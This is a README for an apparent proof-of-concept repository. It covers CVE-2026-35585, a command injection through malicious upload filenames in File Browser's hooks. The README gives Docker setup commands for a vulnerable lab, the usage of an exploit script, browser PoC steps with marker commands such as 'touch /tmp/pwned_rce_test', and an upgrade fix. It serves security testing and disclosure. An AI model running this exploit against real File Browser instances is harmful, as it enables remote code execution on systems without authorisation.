
Exploit de preuve de concept pour CVE-2026-35585, une vulnérabilité d'injection de commandes système dans File Browser (versions 2.0.0 à 2.33.1). Inclut des scripts PoC en Python et basés sur navigateur pour l'exécution de code à distance via des téléchargements de fichiers malveillants.
Ce dépôt est une preuve de concept (PoC) de la vulnérabilité critique d'injection de commandes OS CVE-2026-35585 découverte dans File Browser (versions 2.0.0 à 2.33.1).
Cette vulnérabilité se trouve dans la fonctionnalité « Custom Command Hooks ». Lors de l'exécution du shell, les variables d'environnement telles que $FILE et $USERNAME ne sont pas suffisamment assainies, ce qui permet à un utilisateur authentifié disposant de droits de téléchargement de fichiers d'exécuter des commandes arbitraires sur le système hôte en utilisant un nom de fichier malveillant.
Découvert par : saku0512 (https://github.com/Saku0512)
Ce projet est destiné uniquement à des fins éducatives et de tests de sécurité éthiques.
L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'activités illégales liés à cet outil. L'accès non autorisé à des systèmes informatiques est illégal. En utilisant ce logiciel, vous acceptez de n'effectuer des tests de sécurité que dans des environnements pour lesquels vous avez obtenu une autorisation explicite.
Dans File Browser, un administrateur peut configurer des hooks tels que « After Upload ». Lorsque ces hooks sont exécutés, l'application lance une commande shell et remplace des variables comme $FILE par le nom de fichier réel. Si le nom de fichier contient des métacaractères shell tels que ;, &, |, ils ne sont pas correctement échappés et sont exécutés par le shell système.
Cette section décrit les étapes pour reproduire l'exécution de code à distance (RCE) à l'aide de l'environnement fourni et du script d'exploitation.
Utilisez Docker Compose pour lancer l'environnement vulnérable (File Browser v2.33.1). La première fois que data/filebrowser.db n'existe pas, initialisez d'abord la base de données de File Browser avant de configurer les hooks.
# data ディレクトリに適切な権限を設定
mkdir -p data && sudo chown -R 1000:1000 data
# DBを初期化
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# admin / admin ユーザーを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# shell に "sh -c" を設定
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# After Upload コマンドを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# コンテナを起動
docker compose up -d
Si data/filebrowser.db existe déjà, config init n'est pas nécessaire. Si l'utilisateur admin existe déjà, réinitialisez le mot de passe avec la commande suivante au lieu de users add.
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
Si vous devez modifier la configuration des hooks après le démarrage du conteneur, exécutez docker compose stop pour éviter le verrouillage SQLite, puis exécutez les commandes de configuration, et enfin docker compose start.
Exécutez le script exploit.py pour automatiser la connexion et le téléchargement d'un fichier malveillant. La commande suivante tente de créer un fichier nommé pwned_rce_test dans le répertoire /tmp du conteneur.
# 依存関係をインストール
pip install requests
# exploit を実行
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
Vérifiez que le fichier a été créé dans le conteneur pour confirmer que la commande a été exécutée avec succès.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
Si le fichier existe, la RCE est confirmée.
Le script exploit.py existant peut être utilisé tel quel. Si vous souhaitez une expérience plus interactive avec File Browser, vous pouvez utiliser le guide du PoC navigateur fourni.
Exécutez la section « 1. Configuration de l'environnement et initialisation » ci-dessus pour pouvoir vous connecter à File Browser à l'adresse http://localhost:8080.
python3 browser_poc.py
Ouvrez l'adresse suivante dans votre navigateur :
http://127.0.0.1:8090/
http://localhost:8080.admin / admin et obtenez le token de l'API File Browser.id > /srv/pwned_browser_rce.txt./srv/pwned_browser_rce.txt via l'API File Browser et vérifiez le résultat de la RCE dans l'interface.Étant donné que /srv est monté sur ce dépôt dans docker-compose.yml, le fichier pwned_browser_rce.txt sera également créé sur l'hôte en cas de succès.
Mettez à jour File Browser vers la version 2.33.8 ou ultérieure. Dans la version corrigée, la fonctionnalité de hooks est désactivée par défaut et l'expansion des variables est traitée de manière plus sécurisée.